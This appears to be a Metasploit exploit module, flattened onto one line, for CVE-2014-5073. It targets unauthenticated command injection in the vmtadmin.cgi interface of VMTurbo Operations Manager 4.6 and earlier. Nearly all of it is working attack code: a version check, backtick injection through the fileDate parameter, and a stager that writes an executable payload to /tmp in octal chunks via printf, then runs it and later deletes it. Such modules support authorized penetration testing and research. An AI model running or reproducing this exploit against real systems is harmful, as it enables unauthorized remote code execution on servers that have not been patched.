## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution', 'Description' => %q{ VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated OS Command injection in the web interface. Use reverse payloads for the most reliable results. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. Port binding payloads are disregarded due to the restrictive firewall settings. This module has been tested successfully on VMTurbo Operations Manager 4.5 and VMTurbo Operations Manager 4.6. }, 'Author' => [ # Secunia Research - Discovery and Metasploit module 'Emilio Pinna ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5073'], ['OSVDB', '109572'], ['URL', 'http://secunia.com/secunia_research/2014-8/'] ], 'DisclosureDate' => 'Jun 25 2014', 'Privileged' => false, 'Platform' => %w{ linux unix }, 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } }, 'Targets' => [ [ 'Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'VMTurbo Operations Manager', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1 )) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => "/cgi-bin/vmtadmin.cgi", 'vars_get' => { "callType" => "ACTION", "actionType" => "VERSIONS" } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{rhost}:#{rport} - Failed to connect to the web server") return Exploit::CheckCode::Unknown end if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/ version = $2 build = $1 print_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected") else print_status("#{peer} - Unexpected vmtadmin.cgi response") return Exploit::CheckCode::Unknown end if version and version <= "4.6" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def request(cmd) begin res = send_request_cgi({ 'uri' => '/cgi-bin/vmtadmin.cgi', 'method' => 'GET', 'vars_get' => { "callType" => "DOWN", "actionType" => "CFGBACKUP", "fileDate" => "\"`#{cmd}`\"" } }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end vprint_status("Sent command #{cmd}") res end def unix_stager(data) file_name = "/tmp/#{rand_text_alphanumeric(4+rand(4))}" File.open(file_name, 'wb') { |f| f.write(data) } unix_upload(file_name, data) @to_delete = file_name request("/bin/chmod +x #{file_name}") request("#{file_name}&") end def unix_upload(file_name, data, append=false) # This file uploader is used as early stager and follows the core # function _write_file_unix_shell() in lib/msf/core/post/file.rb redirect = (append ? '>>' : '>') # Short-circuit an empty string. The : builtin is part of posix # standard and should theoretically exist everywhere. if data.length == 0 request(": #{redirect} #{file_name}") return end d = data.dup d.force_encoding('binary') if d.respond_to? :force_encoding chunks = [] command = nil cmd_name = '' # Conservative. line_max = 512 # Leave plenty of room for the filename we're writing to and the # command to echo it out line_max -= file_name.length line_max -= 64 command = %q(/usr/bin/printf 'CONTENTS') # each byte will balloon up to 4 when we encode # (A becomes \x41 or \101) max = line_max / 4 i = 0 while i < d.length slice = d.slice(i...(i + max)) chunks << Rex::Text.to_octal(slice) i += max end print_status("Sending payload to #{file_name} writing #{d.length} bytes in #{chunks.length} chunks of #{chunks.first.length} bytes") # The first command needs to use the provided redirection for either # appending or truncating. cmd = command.sub('CONTENTS') { chunks.shift } request("#{cmd} #{redirect} '#{file_name}'") # After creating/truncating or appending with the first command, we # need to append from here on out. chunks.each { |chunk| vprint_status("Next chunk is #{chunk.length} bytes") cmd = command.sub('CONTENTS') { chunk } request("#{cmd} >> '#{file_name}'") } true end def exploit # # Handle single command shot # if target.name =~ /CMD/ cmd = payload.encoded res = request(cmd) unless res fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown exploitation state") return end @pl = generate_payload_exe unless @pl fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Please set payload before to run exploit.") return end unix_stager(@pl) end def on_new_session(client) return unless defined? @to_delete print_warning("Deleting #{@to_delete} payload file") request("/bin/rm #{@to_delete}") end end